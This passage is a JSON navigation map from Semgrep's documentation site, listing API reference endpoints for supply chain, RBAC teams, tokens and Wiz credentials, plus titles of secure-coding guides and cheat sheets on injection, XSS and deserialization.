dependencies","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/sca/deployments/{deploymentId}/dependencies","href":"/api-reference/v2/supplychain2service/list-dependencies"},{"title":"List dependencies","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/dependencies","href":"/api-reference/v2/supplychain2service/list-dependencies-1"},{"title":"List findings for advisory","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/advisories/{advisoryId}/findings","href":"/api-reference/v2/supplychain2service/list-findings-for-advisory"},{"title":"List lockfiles with dependencies in a given repository","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/{repositoryId}/lockfiles","href":"/api-reference/v2/supplychain2service/list-lockfiles-with-dependencies-in-a-given-repository"},{"title":"List repositories with dependencies","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/sca/deployments/{deploymentId}/repositories","href":"/api-reference/v2/supplychain2service/list-repositories-with-dependencies"}]},{"group":"Supply Chain - Managed Scans dependency resolution configurations","pages":[{"title":"Get SCA resolution configs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/projects/{projectId}/resolution_configs","href":"/api-reference/v2/smsscaresolutionconfigservice/get-sca-resolution-configs"}]},{"group":"Supply Chain - Managed Scans package manager configurations","pages":[{"title":"List package manager auth configs","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs","href":"/api-reference/v2/smspackagemanagerconfigservice/list-package-manager-auth-configs"},{"title":"Create package manager auth config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs","href":"/api-reference/v2/smspackagemanagerconfigservice/create-package-manager-auth-config"},{"title":"Delete package manager auth config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs/{packageManagerConfigId}","href":"/api-reference/v2/smspackagemanagerconfigservice/delete-package-manager-auth-config"},{"title":"Update package manager auth config","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml patch /api/agent/deployments/{deploymentId}/packagemanagerauthconfigs/{packageManagerConfigId}","href":"/api-reference/v2/smspackagemanagerconfigservice/update-package-manager-auth-config"}]},{"group":"Tasks","pages":[{"title":"Get task result","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/tasks/v2/{taskTokenJwt}","href":"/api-reference/v2/tasksservice/get-task-result"}]},{"group":"Teams","pages":[{"title":"Check RBAC status","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/status","href":"/api-reference/v2/teamsservice/check-rbac-status"},{"title":"Create a deployment RBAC team","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/permissions/v2/deployments/{deploymentId}/teams","href":"/api-reference/v2/teamsservice/create-a-deployment-rbac-team"},{"title":"Get a deployment RBAC team","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}","href":"/api-reference/v2/teamsservice/get-a-deployment-rbac-team"},{"title":"Delete a deployment RBAC team","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml delete /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}","href":"/api-reference/v2/teamsservice/delete-a-deployment-rbac-team"},{"title":"Update a deployment RBAC team","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml patch /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}","href":"/api-reference/v2/teamsservice/update-a-deployment-rbac-team"},{"title":"List an RBAC team's child teams","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/teams","href":"/api-reference/v2/teamsservice/list-an-rbac-teams-child-teams"},{"title":"List an RBAC team's repositories","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/repos","href":"/api-reference/v2/teamsservice/list-an-rbac-teams-repositories"},{"title":"List an RBAC team's users","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml get /api/permissions/v2/deployments/{deploymentId}/teams/{teamId}/members","href":"/api-reference/v2/teamsservice/list-an-rbac-teams-users"},{"title":"List deployment teams","deprecated":null,"version":null,"tag":"Beta","openapi":"/public_v2.openapi.yaml post /api/permissions/v2/deployments/{deploymentId}/teams/list","href":"/api-reference/v2/teamsservice/list-deployment-teams"}]},{"group":"Tokens","pages":[{"title":"Delete tokens","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/tokens/v1/deployments/{deploymentId}/tokens","href":"/api-reference/v2/tokenservice/delete-tokens"}]},{"group":"Versions","pages":[{"title":"Get project version info","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/versions/{deploymentId}/project-info/{product}","href":"/api-reference/v2/versionsservice/get-project-version-info"}]},{"group":"Wiz Credentials","pages":[{"title":"List Wiz credentials","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/wiz","href":"/api-reference/v2/wizcredentialservice/list-wiz-credentials"},{"title":"Create Wiz credential","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/wiz","href":"/api-reference/v2/wizcredentialservice/create-wiz-credential"},{"title":"Get Wiz credential","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/notifications/deployments/{deploymentId}/wiz/{id}","href":"/api-reference/v2/wizcredentialservice/get-wiz-credential"},{"title":"Update Wiz credential","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml put /api/notifications/deployments/{deploymentId}/wiz/{id}","href":"/api-reference/v2/wizcredentialservice/update-wiz-credential"},{"title":"Delete Wiz credential","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml delete /api/notifications/deployments/{deploymentId}/wiz/{id}","href":"/api-reference/v2/wizcredentialservice/delete-wiz-credential"},{"title":"Validate Wiz credential","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml post /api/notifications/deployments/{deploymentId}/wiz/validate","href":"/api-reference/v2/wizcredentialservice/validate-wiz-credential"}]},{"group":"Other","pages":[{"title":"Get identity","deprecated":null,"version":null,"tag":"Experimental","openapi":"/public_v2.openapi.yaml get /api/agent/identity","href":"/api-reference/v2/miscservice/get-identity"}]}]}]}]},{"tab":"Help","icon":"circle-question","menu":[{"item":"Knowledge base","icon":"book","pages":[{"title":"Knowledge base","href":"/kb"}]},{"item":"Learning guides","icon":"graduation-cap","groups":[{"group":"Application Security","pages":[{"title":"Semgrep Learning Guides","sidebarTitle":"Overview","href":"/learn"},{"group":"Security Foundations","root":{"title":"Security Foundations","href":"/learn/security-foundations/overview"},"pages":[{"title":"Understanding static code scanning tools","sidebarTitle":"Static code scanning","href":"/learn/security-foundations/sast/overview"},{"title":"Understanding supply chain security","sidebarTitle":"Supply chain security","href":"/learn/security-foundations/supply-chain-security"},{"title":"Incorporating security testing into development workflows","sidebarTitle":"Security testing workflows","href":"/learn/security-foundations/security-testing-workflow"}]},{"group":"Vulnerabilities","root":{"title":"Understanding Security Vulnerabilities","sidebarTitle":"Vulnerabilities","href":"/learn/vulnerabilities/overview"},"pages":[{"title":"Code Injection","href":"/learn/vulnerabilities/code-injection"},{"group":"Command Injection","root":{"title":"Command Injection","href":"/learn/vulnerabilities/command-injection"},"pages":[{"title":"Command Injection in Argo Workflows","href":"/learn/vulnerabilities/command-injection/argo-injection"},{"title":"Injection Attacks in GitHub Actions","sidebarTitle":"Command Injection in GitHub Actions","href":"/learn/vulnerabilities/command-injection/github-actions-injection"}]},{"title":"Cross-Site Scripting (XSS)","href":"/learn/vulnerabilities/cross-site-scripting"},{"title":"Insecure Deserialization","href":"/learn/vulnerabilities/insecure-deserialization"},{"title":"Insecure Direct Object Reference (IDOR)","sidebarTitle":"Insecure Direct Object Reference","href":"/learn/vulnerabilities/idor"},{"title":"Open Redirect","href":"/learn/vulnerabilities/open-redirect"},{"title":"Server Side Request Forgery (SSRF)","sidebarTitle":"Server Side Request Forgery","href":"/learn/vulnerabilities/server-side-request-forgery"},{"title":"SQL Injection","href":"/learn/vulnerabilities/sql-injection"},{"title":"XML Security","href":"/learn/vulnerabilities/xml-security"}]}]},{"group":"Secure Coding","pages":[{"title":"Cheat Sheets","href":"/cheat-sheets/overview"},{"group":"Go","root":{"title":"Go","href":"/category/go"},"pages":[{"title":"Prevent Command Injection for Go","sidebarTitle":"Command Injection in Go","href":"/cheat-sheets/go-command-injection"},{"title":"Prevent XSS for Go","sidebarTitle":"XSS in Go","href":"/cheat-sheets/go-xss"}]},{"group":"Java","root":{"title":"Java","href":"/category/java"},"pages":[{"title":"Prevent Code Injection for Java","sidebarTitle":"Code Injection in Java","href":"/cheat-sheets/java-code-injection"},{"title":"Prevent Command Injection for Java","sidebarTitle":"Command Injection in Java","href":"/cheat-sheets/java-command-injection"},{"title":"Prevent XSS for Java and Java Server Pages (JSP)","sidebarTitle":"XSS in Java + JSP","href":"/cheat-sheets/java-jsp-xss"},{"title":"Prevent XML External Entity Vulnerabilities for Java","sidebarTitle":"XEE in Java","href":"/cheat-sheets/java-xxe"}]},{"group":"JavaScript","root":{"title":"JavaScript","href":"/category/javascript"},"pages":[{"title":"Prevent Code Injection in JavaScript","sidebarTitle":"Code Injection in JavaScript","href":"/cheat-sheets/javascript-code-injection"},{"title":"Prevent Command Injection for JavaScript","sidebarTitle":"Command Injection in JavaScript","href":"/cheat-sheets/javascript-command-injection"},{"title":"Prevent XSS in ExpressJS","sidebarTitle":"XSS in ExpressJS","href":"/cheat-sheets/express-xss"}]},{"group":"Python","root":{"title":"Python","href":"/category/python"},"pages":[{"title":"Prevent Code Injection for Python","sidebarTitle":"Code Injection in Python","href":"/cheat-sheets/python-code-injection"},{"title":"Prevent Command Injection for Python","sidebarTitle":"Command Injection in Python","href":"/cheat-sheets/python-command-injection"},{"title":"Prevent XSS in Django","sidebarTitle":"XSS in Django","href":"/cheat-sheets/django-xss"},{"title":"Prevent XSS for Flask","sidebarTitle":"XSS in Flask","description":null,"href":"/cheat-sheets/flask-xss"},{"title":"Insecure Deserialization in Python","href":"/learn/vulnerabilities/insecure-deserialization/python"}]},{"group":"Ruby","root":{"title":"Ruby","description":"Security guides and cheatsheets for the Ruby programming language and related frameworks.","href":"/category/ruby"},"pages":[{"title":"Prevent Code Injection for Ruby","sidebarTitle":"Code Injection for Ruby","href":"/cheat-sheets/ruby-code-injection"},{"title":"Prevent Command Injection for Ruby","sidebarTitle":"Command Injection for Ruby","href":"/cheat-sheets/ruby-command-injection"},{"title":"Prevent XSS for Ruby on Rails","sidebarTitle":"XSS for Ruby on Rails","href":"/cheat-sheets/rails-xss"}]}]}]},{"item":"Support","icon":"headset","pages":[{"title":"Support","href":"/support"}]}]},{"tab":"Explore","icon":"compass","menu":[{"item":"What's Semgrep","icon":"sparkles","pages":[{"title":"What's Semgrep","href":"/introduction"}]},{"item":"For developers","icon":"code","pages":[{"title":"For developers","href":"/for-developers/overview"}]},{"item":"References","icon":"code-simple","pages":[{"title":"References","href":"/category/ci-references"}]},{"item":"Support \u0026 resources","icon":"headset","pages":[{"title":"Support \u0026 resources","href":"/support"}]},{"item":"Registry","icon":"database","href":"https://semgrep.dev/explore"},{"item":"Playground","icon":"codepen","href":"https://semgrep.dev/playground/new"},{"item":"Semgrep Academy","icon":"graduation-cap","href":"https://academy.semgrep.dev/"}],"pages":[{"title":"Explore","href":"/introduction"}]},{"tab":"What's New","icon":"bullhorn","menu":[{"item":"What's New","icon":"sparkles","pages":[{"title":"What's New","href":"/whats-new"}]},{"item":"Release notes","icon":"newspaper","pages":[{"title":"Release notes","href":"/release-notes/2026-11-16"}]}],"pages":[{"title":"What's New","href":"/whats-new"}]}]},"basePath":"","title":"Insecure Deserialization in Python - Semgrep","deploymentId":"dpl_EwfxjeKENdVkfzdag8rM6mKzcTUJ","buildId":"dpl_EwfxjeKENdVkfzdag8rM6mKzcTUJ","dynamics":[],"chunks":[]}